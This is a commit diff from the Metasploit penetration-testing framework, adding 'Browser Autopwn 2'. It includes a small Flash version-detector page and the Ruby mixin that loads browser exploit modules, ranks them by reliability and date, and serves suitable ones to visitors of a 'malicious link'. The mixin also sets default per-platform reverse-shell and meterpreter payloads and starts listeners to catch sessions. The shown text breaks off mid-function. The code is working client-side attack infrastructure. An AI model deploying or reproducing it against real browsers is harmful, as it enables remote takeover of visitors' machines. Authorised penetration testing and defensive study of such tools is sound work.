Land #5650, @wchen-r7's browser autopwn 2
commit
886ca47dfb
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,39 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<title>flash_detector</title>
|
||||
<meta name="description" content="" />
|
||||
|
||||
<script src="js/swfobject.js"></script>
|
||||
<script>
|
||||
var flashvars = {
|
||||
};
|
||||
var params = {
|
||||
menu: "false",
|
||||
scale: "noScale",
|
||||
allowFullscreen: "true",
|
||||
allowScriptAccess: "always",
|
||||
bgcolor: ""
|
||||
};
|
||||
var attributes = {
|
||||
id:"flashdetector"
|
||||
};
|
||||
swfobject.embedSWF(
|
||||
"flashdetector.swf",
|
||||
"altContent", "100%", "100%", "8.0.0",
|
||||
"expressInstall.swf",
|
||||
flashvars, params, attributes);
|
||||
</script>
|
||||
<style>
|
||||
html, body { height:100%; overflow:hidden; }
|
||||
body { margin:0; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="altContent">
|
||||
<h1>flash_detector</h1>
|
||||
<p><a href="http://www.adobe.com/go/getflashplayer">Get Adobe Flash player</a></p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,55 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<project>
|
||||
<!-- Output SWF options -->
|
||||
<output>
|
||||
<movie disabled="False" />
|
||||
<movie input="" />
|
||||
<movie path="bin\flashdetector.swf" />
|
||||
<movie fps="30" />
|
||||
<movie width="800" />
|
||||
<movie height="600" />
|
||||
<movie version="8" />
|
||||
<movie background="#FFFFFF" />
|
||||
</output>
|
||||
<!-- Other classes to be compiled into your SWF -->
|
||||
<classpaths>
|
||||
<class path="src" />
|
||||
</classpaths>
|
||||
<!-- Build options -->
|
||||
<build>
|
||||
<option verbose="False" />
|
||||
<option strict="False" />
|
||||
<option infer="False" />
|
||||
<option useMain="True" />
|
||||
<option useMX="False" />
|
||||
<option warnUnusedImports="False" />
|
||||
<option traceMode="FlashConnectExtended" />
|
||||
<option traceFunction="" />
|
||||
<option libraryPrefix="" />
|
||||
<option excludeFile="" />
|
||||
<option groupClasses="False" />
|
||||
<option frame="1" />
|
||||
<option keep="True" />
|
||||
</build>
|
||||
<!-- Class files to compile (other referenced classes will automatically be included) -->
|
||||
<compileTargets>
|
||||
<compile path="src\Main.as" />
|
||||
</compileTargets>
|
||||
<!-- Assets to embed into the output SWF -->
|
||||
<library>
|
||||
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
|
||||
</library>
|
||||
<!-- Paths to exclude from the Project Explorer tree -->
|
||||
<hiddenPaths>
|
||||
<!-- example: <hidden path="..." /> -->
|
||||
</hiddenPaths>
|
||||
<!-- Executed before build -->
|
||||
<preBuildCommand />
|
||||
<!-- Executed after build -->
|
||||
<postBuildCommand alwaysRun="False" />
|
||||
<!-- Other project options -->
|
||||
<options>
|
||||
<option showHiddenPaths="False" />
|
||||
<option testMovie="Default" />
|
||||
</options>
|
||||
</project>
|
|
@ -0,0 +1,31 @@
|
|||
import flash.external.ExternalInterface
|
||||
import System.capabilities
|
||||
|
||||
class Main
|
||||
{
|
||||
|
||||
public static function main(swfRoot:MovieClip):Void
|
||||
{
|
||||
// entry point
|
||||
var app:Main = new Main();
|
||||
}
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var version:String = getVersion()
|
||||
ExternalInterface.call("setFlashVersion", version)
|
||||
}
|
||||
|
||||
private function getVersion():String
|
||||
{
|
||||
try {
|
||||
var version:String = capabilities.version
|
||||
version = version.split(" ")[1]
|
||||
version = version.split(",").join(".")
|
||||
return version
|
||||
} catch (err:Error) {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,814 @@
|
|||
###
|
||||
#
|
||||
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
|
||||
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
|
||||
# exploits to perform a faster and smarter automated client-side attack.
|
||||
#
|
||||
###
|
||||
|
||||
require 'date'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::BrowserAutopwn2
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
# @return [Array] A list of initialized BAP exploits
|
||||
attr_reader :bap_exploits
|
||||
|
||||
# @return [Array] A list of exploit job IDs
|
||||
attr_reader :exploit_job_ids
|
||||
|
||||
# @return [Array] A list of payload job IDs
|
||||
attr_reader :payload_job_ids
|
||||
|
||||
# @return [Array] Wanted payloads.
|
||||
attr_reader :wanted_payloads
|
||||
|
||||
|
||||
# The default platform-specific payloads and preferred LPORTS.
|
||||
# The hash key is the name of the platform that matches what's on the module.
|
||||
# The loader order is specific while starting them up.
|
||||
# Firefox payloads use generic handlers.
|
||||
DEFAULT_PAYLOADS = {
|
||||
firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
|
||||
android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
|
||||
win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
|
||||
linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
|
||||
unix: { payload: 'cmd/unix/reverse', lport: 4446 },
|
||||
osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
|
||||
java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
|
||||
generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
|
||||
}
|
||||
|
||||
|
||||
# Returns all the found exploit modules that support BrowserExploitServer by going through all
|
||||
# the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
|
||||
#
|
||||
# @return [void]
|
||||
def init_exploits
|
||||
# First we're going to avoid using #find_all because that gets very slow.
|
||||
framework.exploits.each_pair do |fullname, place_holder|
|
||||
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
|
||||
# and that's gotta be the active browser autopwn.
|
||||
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
|
||||
|
||||
# The user gets to specify which modules to include/exclude
|
||||
next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
|
||||
next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
|
||||
|
||||
mod = framework.exploits.create(fullname)
|
||||
unless mod
|
||||
print_status("Failed to load: #{fullname}")
|
||||
next
|
||||
end
|
||||
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
|
||||
@bap_exploits << mod
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
|
||||
# This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
|
||||
# and all of its child exploits can share target information with each other. If BAP is active
|
||||
# but there are other standalone BES exploits running, this allows them not to use (or cleanup)
|
||||
# each other's data. Also, once requested, the method will not generate another profile prefix
|
||||
# again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
|
||||
#
|
||||
# @return [String]
|
||||
def browser_profile_prefix
|
||||
@browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
|
||||
end
|
||||
|
||||
# Removes background exploit jobs that belong to BAP.
|
||||
#
|
||||
# @return [void]
|
||||
def rm_exploit_jobs
|
||||
exploit_job_ids.each do |id|
|
||||
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
|
||||
sleep(0.1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Removes background payload jobs that belong to BAP.
|
||||
#
|
||||
# @return [void]
|
||||
def rm_payload_jobs
|
||||
payload_job_ids.each do |id|
|
||||
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Cleans up everything such as profiles and jobs.
|
||||
#
|
||||
# @see #rm_exploit_jobs The method for cleaning up jobs.
|
||||
# @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
|
||||
# @return [void]
|
||||
def cleanup
|
||||
print_status("Cleaning up jobs...")
|
||||
super
|
||||
configure_job_output(false)
|
||||
clear_browser_profiles
|
||||
rm_exploit_jobs
|
||||
rm_payload_jobs
|
||||
end
|
||||
|
||||
|
||||
# Modifies an exploit's default datastore options. Some of them are user-configurable,
|
||||
# some must be defined by BAP.
|
||||
#
|
||||
# @return [void]
|
||||
def set_exploit_options(xploit)
|
||||
# We could do a massive xploit.datastore.merge!(self.datastore), but this seems
|
||||
# really expensive. Costs more loading time.
|
||||
|
||||
# Set options configurable by the user.
|
||||
p = select_payload(xploit)
|
||||
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
|
||||
xploit.datastore['LPORT'] = p.first[:payload_lport]
|
||||
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
|
||||
xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate']
|
||||
xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName']
|
||||
xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE']
|
||||
xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries']
|
||||
xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL']
|
||||
xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion']
|
||||
xploit.datastore['LHOST'] = get_payload_lhost
|
||||
|
||||
# Set options only configurable by BAP.
|
||||
xploit.datastore['DisablePayloadHandler'] = true
|
||||
xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
|
||||
xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
|
||||
xploit.datastore['WORKSPACE'] = self.workspace
|
||||
|
||||
# Register this module as a child and copy datastore options
|
||||
xploit.register_parent(self)
|
||||
end
|
||||
|
||||
|
||||
# Checks if a resource is already taken or not.
|
||||
#
|
||||
# @param resource [String] The resource to check.
|
||||
# @return [TrueClass] Resource is taken.
|
||||
# @return [FalseClass] Resource is not taken.
|
||||
def is_resource_taken?(resource)
|
||||
taken = false
|
||||
|
||||
bap_exploits.each do |m|
|
||||
# Prevent partial matching of one resource within another
|
||||
next unless m.datastore['URIPATH']
|
||||
return true if m.datastore['URIPATH'].index(resource)
|
||||
return true if resource.index(m.datastore['URIPATH'])
|
||||
end
|
||||
|
||||
taken
|
||||
end
|
||||
|
||||
|
||||
# Returns a unique resource path.
|
||||
#
|
||||
# @return [String] A unique resource path.
|
||||
def assign_module_resource
|
||||
resource = ''
|
||||
while
|
||||
resource = Rex::Text.rand_text_alpha(rand(10) + 4)
|
||||
break unless is_resource_taken?(resource)
|
||||
end
|
||||
|
||||
resource
|
||||
end
|
||||
|
||||
|
||||
# Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
|
||||
# This method is part of what makes BAP smarter. However, the list rearranged by this exploit
|
||||
# will not actually be the same exploit list served to every client. When a client a request,
|
||||
# #get_suitable_exploits will generate another list that will actually be used by the client
|
||||
# by going through what we have here, and filter out all the exploit modules that don't match
|
||||
# the target's requirements.
|
||||
#
|
||||
# @see #bap_exploits The read-only attribute.
|
||||
# @see #sort_date_in_group The method for sorting by disclosure date
|
||||
# @see #sort_group_by_rank The method for sorting by rank
|
||||
# @see #sort_bap_modules The method for breaking the module list into groups
|
||||
# @see #finalize_sorted_modules The method for finalizing bap_exploits
|
||||
# @see #get_suitable_exploits
|
||||
# @return [void]
|
||||
def sort_bap_exploits
|
||||
bap_groups = group_bap_modules
|
||||
bap_groups = sort_date_in_group(bap_groups)
|
||||
bap_groups = sort_group_by_rank(bap_groups)
|
||||
finalize_sorted_modules(bap_groups)
|
||||
end
|
||||
|
||||
|
||||
# Sorts a grouped module list by disclosure date.
|
||||
#
|
||||
# @param bap_groups [Hash] A grouped module list.
|
||||
# @return [Hash] A hash with each module list sorted by disclosure date.
|
||||
def sort_date_in_group(bap_groups)
|
||||
bap_groups.each_pair do |ranking, module_list|
|
||||
bap_groups[ranking] = module_list.sort_by {|m|
|
||||
dstr = m.disclosure_date || "1970-01-01"
|
||||
Date.parse(dstr) rescue Date.parse("1970-01-01")
|
||||
}.reverse
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Sorts a module list by ranking.
|
||||
#
|
||||
# @param bap_groups [Hash] A grouped module list.
|
||||
# @return [Hash] A hash grouped by ranking.
|
||||
def sort_group_by_rank(bap_groups)
|
||||
Hash[bap_groups.sort_by {|k,v| k}.reverse]
|
||||
end
|
||||
|
||||
|
||||
# Breaks @bap_exploits into groups for sorting purposes.
|
||||
#
|
||||
# @see #bap_exploits
|
||||
# @return [Hash] A module list grouped by rank.
|
||||
def group_bap_modules
|
||||
bap_groups = {}
|
||||
RankingName.each_pair do |ranking, value|
|
||||
bap_groups[ranking] = []
|
||||
bap_exploits.each do |m|
|
||||
next if m.rank != ranking
|
||||
bap_groups[ranking] << m
|
||||
end
|
||||
end
|
||||
bap_groups
|
||||
end
|
||||
|
||||
|
||||
# Modifies @bap_exploit by replacing it with the rearranged module list.
|
||||
#
|
||||
# @see #bap_exploits The read-only attribute.
|
||||
# @param bap_groups [Hash] A grouped module list.
|
||||
# @return [void]
|
||||
def finalize_sorted_modules(bap_groups)
|
||||
@bap_exploits = []
|
||||
bap_groups.each_pair do |ranking, module_list|
|
||||
module_list.each do |m|
|
||||
break if @bap_exploits.length >= datastore['MaxExploitCount']
|
||||
@bap_exploits << m
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns a payload name. Either this will be the user's choice, or falls back to a default one.
|
||||
#
|
||||
# @see DEFAULT_PAYLOADS The default settings.
|
||||
# @param platform [Symbol] Platform name.
|
||||
# @return [String] Payload name.
|
||||
def get_selected_payload_name(platform)
|
||||
payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
|
||||
|
||||
# The payload is legit, we can use it.
|
||||
# Avoid #create seems faster
|
||||
return payload_name if framework.payloads.keys.include?(payload_name)
|
||||
|
||||
default = DEFAULT_PAYLOADS[platform][:payload]
|
||||
|
||||
# The user has configured some unknown payload that we can't use,
|
||||
# fall back to default.
|
||||
default
|
||||
end
|
||||
|
||||
|
||||
# Returns the selected payload's LPORT.
|
||||
#
|
||||
# @param platform [Symbol]
|
||||
# @return [Fixnum]
|
||||
def get_selected_payload_lport(platform)
|
||||
datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
|
||||
end
|
||||
|
||||
|
||||
# Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
|
||||
# then the method automatically generates one by Rex.
|
||||
#
|
||||
# @return [String]
|
||||
def get_payload_lhost
|
||||
datastore['LHOST'] || Rex::Socket.source_address
|
||||
end
|
||||
|
||||
|
||||
# Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
|
||||
# we know how to find them and then clean them up.
|
||||
#
|
||||
# @note FireFox payload is skipped because there's no handler for it.
|
||||
# @see #payload_job_ids
|
||||
# @return [void]
|
||||
def start_payload_listeners
|
||||
# Spawn nothing if the user doesn't want to pop sessions.
|
||||
return if datastore['MaxSessionCount'] == 0
|
||||
|
||||
# Don't repeat launching payload handlers
|
||||
wanted_payloads.uniq! { |e| e[:payload_name] }
|
||||
|
||||
wanted_payloads.each do |wanted|
|
||||
multi_handler = framework.exploits.create('multi/handler')
|
||||
|
||||
# We have to special case firefox
|
||||
payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
|
||||
|
||||
# User-configurable options
|
||||
# multi_handler.datastore.merge!(self.datastore) could be used, but
|
||||
# really expensive. Costs more loading time.
|
||||
multi_handler.datastore['LHOST'] = get_payload_lhost
|
||||
multi_handler.datastore['PAYLOAD'] = payload_name
|
||||
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
||||
multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions']
|
||||
multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid']
|
||||
multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate']
|
||||
multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc']
|
||||
multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript']
|
||||
multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript']
|
||||
multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID']
|
||||
multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert']
|
||||
multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert']
|
||||
multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking']
|
||||
multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName']
|
||||
multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads']
|
||||
multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal']
|
||||
multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait']
|
||||
multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout']
|
||||
multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout']
|
||||
|
||||
# Configurable only by BAP
|
||||
multi_handler.datastore['ExitOnSession'] = false
|
||||
multi_handler.datastore['EXITFUNC'] = 'thread'
|
||||
multi_handler.datastore['WORKSPACE'] = self.workspace
|
||||
|
||||
# Register this module as a child and copy datastore options
|
||||
multi_handler.register_parent(self)
|
||||
|
||||
# Now we're ready to start the handler
|
||||
multi_handler.exploit_simple(
|
||||
'LocalInput' => nil,
|
||||
'LocalOutput' => nil,
|
||||
'Payload' => payload_name,
|
||||
'RunAsJob' => true
|
||||
)
|
||||
@payload_job_ids << multi_handler.job_id
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the human-readable version of the rank.
|
||||
#
|
||||
# @param rank [Fixnum]
|
||||
# @return [String]
|
||||
def parse_rank(rank)
|
||||
RankingName[rank].to_s.capitalize
|
||||
end
|
||||
|
||||
|
||||
# Checks whether the payload is compatible with the module based on platform information.
|
||||
# Best for single-platform modules and for performance.
|
||||
#
|
||||
# @param m [Object] Module.
|
||||
# @param payload_platform [Symbol] Payload platform.
|
||||
# @return [TrueClass] Payload is compatible.
|
||||
# @return [FalseClass] Payload is not compatible.
|
||||
def is_payload_platform_compatible?(m, payload_platform)
|
||||
begin
|
||||
platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
|
||||
rescue ArgumentError
|
||||
false
|
||||
end
|
||||
|
||||
return true if platform_obj && m.platform.platforms.include?(platform_obj)
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Checks whether the payload is compatible with the module based on the module's compatibility list
|
||||
#
|
||||
# @param compatible_payloads [Array] A list of payloads that are compatible
|
||||
# @param payload_name [String]
|
||||
# @return [TrueClass] Payload is compatible.
|
||||
# @return [FalseClass] Payload is not compatible.
|
||||
def is_payload_compatible?(compatible_payloads, payload_name)
|
||||
compatible_payloads.each do |k|
|
||||
return true if k[0] == payload_name
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Checks if the module is multi-platform based on the directory path.
|
||||
#
|
||||
# @param m [Object] Module.
|
||||
# @return Module [TrueClass] is multi-platform.
|
||||
# @return Module [FalseClass] is not multi-platform.
|
||||
def is_multi_platform_exploit?(m)
|
||||
m.fullname.include?('multi/')
|
||||
end
|
||||
|
||||
|
||||
# Returns an appropriate payload that's compatible with the module.
|
||||
#
|
||||
# @param m [Object] A module that's been initialized.
|
||||
# @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
|
||||
def select_payload(m)
|
||||
compatible_payloads = []
|
||||
|
||||
module_payloads = nil
|
||||
|
||||
DEFAULT_PAYLOADS.each_pair do |platform, info|
|
||||
payload_choice = {
|
||||
:payload_name => get_selected_payload_name(platform),
|
||||
:payload_lport => get_selected_payload_lport(platform)
|
||||
}
|
||||
|
||||
if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
|
||||
compatible_payloads << payload_choice
|
||||
break
|
||||
else
|
||||
# The #compatible_payloads method is super expensive (slow). By doing it this way,
|
||||
# I managed to shave off seconds.
|
||||
module_payloads ||= m.compatible_payloads
|
||||
|
||||
if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
|
||||
compatible_payloads << payload_choice
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@wanted_payloads.concat(compatible_payloads)
|
||||
|
||||
compatible_payloads
|
||||
end
|
||||
|
||||
|
||||
# Starts exploits.
|
||||
#
|
||||
# @return [void]
|
||||
def start_exploits
|
||||
bap_exploits.each do |m|
|
||||
set_exploit_options(m)
|
||||
m.exploit_simple(
|
||||
'LocalInput' => nil,
|
||||
'LocalOutput' => nil,
|
||||
'Quiet' => true,
|
||||
'Target' => 0,
|
||||
'Payload' => m.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
@exploit_job_ids << m.job_id
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Sets up BAPv2. This is like our main function.
|
||||
#
|
||||
# @return [void]
|
||||
def setup
|
||||
t1 = Time.now
|
||||
|
||||
super
|
||||
@bap_exploits = []
|
||||
@exploit_job_ids = []
|
||||
@payload_job_ids = []
|
||||
@wanted_payloads = []
|
||||
|
||||
# #split might be expensive if the file is really big
|
||||
@whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
|
||||
|
||||
print_status("Searching BES exploits, please wait...")
|
||||
init_exploits
|
||||
sort_bap_exploits
|
||||
|
||||
print_status("Starting exploit modules...")
|
||||
start_exploits
|
||||
|
||||
print_status("Starting listeners...")
|
||||
start_payload_listeners
|
||||
|
||||
t2 = Time.now
|
||||
print_status("Time spent: #{(t2-t1).inspect}")
|
||||
|
||||
configure_job_output(true)
|
||||
end
|
||||
|
||||
# Configures the output of sub-jobs
|
||||
#
|
||||
# @return [void]
|
||||
def configure_job_output(on=true)
|
||||
(@exploit_job_ids + @payload_job_ids).each do |jid|
|
||||
job = framework.jobs[jid.to_s]
|
||||
next unless job
|
||||
job.ctx.each do |m|
|
||||
next unless m.respond_to? :user_output
|
||||
m.user_output = on ? self.user_output : nil
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Prints all the exploits that BAP will consider using. But this isn't the actual list of
|
||||
# exploits that BAP will use for each target.
|
||||
#
|
||||
# @return [void]
|
||||
def show_ready_exploits
|
||||
columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
|
||||
|
||||
# If not verbose, you're not in dev mode.
|
||||
# As an user, you shouldn't be using any of these paths anyway.
|
||||
columns.delete('Path') if !datastore['VERBOSE']
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Exploits',
|
||||
'Indent' => 1,
|
||||
'Columns' => columns
|
||||
)
|
||||
|
||||
# Without the order, sometimes the Rex table messes up even though in the array
|
||||
# the order looks right. So don't get rid of this.
|
||||
order = 1
|
||||
|
||||
bap_exploits.each do |m|
|
||||
row = []
|
||||
row << order
|
||||
row << parse_rank(m.rank)
|
||||
row << m.shortname
|
||||
row << m.datastore['URIPATH'] if datastore['VERBOSE']
|
||||
row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
|
||||
table << row
|
||||
order += 1
|
||||
end
|
||||
|
||||
print_line
|
||||
print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
|
||||
print_status("Exploits with the highest ranking and newest will be tried first.")
|
||||
print_line
|
||||
print_line table.to_s
|
||||
end
|
||||
|
||||
|
||||
# Prints information such as what exploits will be used, and the BAP URL.
|
||||
#
|
||||
# @return [void]
|
||||
def start_service
|
||||
super
|
||||
show_ready_exploits
|
||||
proto = (datastore['SSL'] ? "https" : "http")
|
||||
srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
srvport = datastore['SRVPORT']
|
||||
port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT']
|
||||
service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
|
||||
print_good("Please use the following URL for the browser attack:")
|
||||
print_good("BrowserAutoPwn URL: #{service_uri}")
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
|
||||
# gives us. It will do a global exploitable requirement check (the best it can do). There's
|
||||
# actually a target-specific exploitable requirement check too, but that is performed in
|
||||
# BrowserExploitServer while the exploit is being served. In other words, it is possible
|
||||
# #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
|
||||
# exploit dev accurately defines his/her global requirements), but the exploit always has a
|
||||
# choice to bail at the last second if it decides it is actually not suitable for the client.
|
||||
# That way we don't risk being too wreckless with our attack.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Array]
|
||||
def get_suitable_exploits(cli, request)
|
||||
current_exploit_list = []
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile_info = browser_profile[tag]
|
||||
bap_exploits.each do |m|
|
||||
if m.get_bad_requirements(profile_info).empty?
|
||||
current_exploit_list << m
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['ShowExploitList']
|
||||
show_exploit_list(cli.peerhost, tag, current_exploit_list)
|
||||
end
|
||||
|
||||
current_exploit_list
|
||||
end
|
||||
|
||||
|
||||
# Logs a click that includes the suitable exploit list.
|
||||
#
|
||||
# @param ip [String] The target's IP address.
|
||||
# @param data [String] (Optional) CSV data that contains the exploit list.
|
||||
# @return [void]
|
||||
def log_click(ip, data='')
|
||||
report_note(
|
||||
:host => ip,
|
||||
:type => 'bap.clicks',
|
||||
:data => data,
|
||||
:update => :unique)
|
||||
end
|
||||
|
||||
|
||||
# Prints a list of suitable exploits for the current list.
|
||||
#
|
||||
# @see #sort_bap_exploits Explains how the exploit list is generated at first.
|
||||
# @see #get_suitable_exploits Explains how we serve exploits to each client.
|
||||
# @return [void]
|
||||
def show_exploit_list(ip, tag, current_exploit_list)
|
||||
order = 1
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => '',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Order', 'IP', 'Exploit']
|
||||
)
|
||||
current_exploit_list.each do |m|
|
||||
table << [order, ip, m.shortname]
|
||||
order += 1
|
||||
end
|
||||
|
||||
if table.rows.empty?
|
||||
print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
|
||||
else
|
||||
# Update the exploit list data
|
||||
log_click(cli.peerhost, table.to_csv)
|
||||
print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of exploit URLs. This is used by #build_html so the client can load our
|
||||
# exploits one by one.
|
||||
#
|
||||
# @see #build_html
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Array]
|
||||
def get_exploit_urls(cli, request)
|
||||
urls = []
|
||||
|
||||
exploit_list = get_suitable_exploits(cli, request)
|
||||
|
||||
exploit_list.each do |mod|
|
||||
proto = datastore['SSL'] ? 'https' : 'http'
|
||||
# We haven't URIHOST and URIPORT into account here because
|
||||
# the framework uses them only on `get_uri`
|
||||
host = ''
|
||||
if datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
|
||||
host = datastore['SRVHOST']
|
||||
else
|
||||
host = Rex::Socket.source_address
|
||||
end
|
||||
port = datastore['SRVPORT']
|
||||
resource = mod.datastore['URIPATH']
|
||||
url = "#{proto}://#{host}:#{port}#{resource}"
|
||||
urls << url
|
||||
end
|
||||
|
||||
urls
|
||||
end
|
||||
|
||||
|
||||
# Handles client requests specific for BAP.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [void]
|
||||
def on_request_uri(cli, request)
|
||||
# Check if target is on our whitelist
|
||||
if @whitelist && !is_ip_targeted?(cli.peerhost)
|
||||
print_status("Client is trying to connect but not on our whitelist.")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
log_click(cli.peerhost)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
# Returns true if the IP is on our whitelist.
|
||||
#
|
||||
# @param [String] cli_ip Client's IP.
|
||||
# @return [TrueClass] The IP is on the whitelist.
|
||||
# @return [FalseClass] The IP is not on the whitelist.
|
||||
def is_ip_targeted?(cli_ip)
|
||||
return true unless @whitelist
|
||||
@whitelist.include?(cli_ip)
|
||||
end
|
||||
|
||||
|
||||
# Returns a number of sessions obtained by BAP's payload handlers.
|
||||
#
|
||||
# @return [Fixnum] A session count.
|
||||
def session_count
|
||||
total = 0
|
||||
|
||||
payload_job_ids.each do |id|
|
||||
job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
|
||||
if job_workspace == self.workspace
|
||||
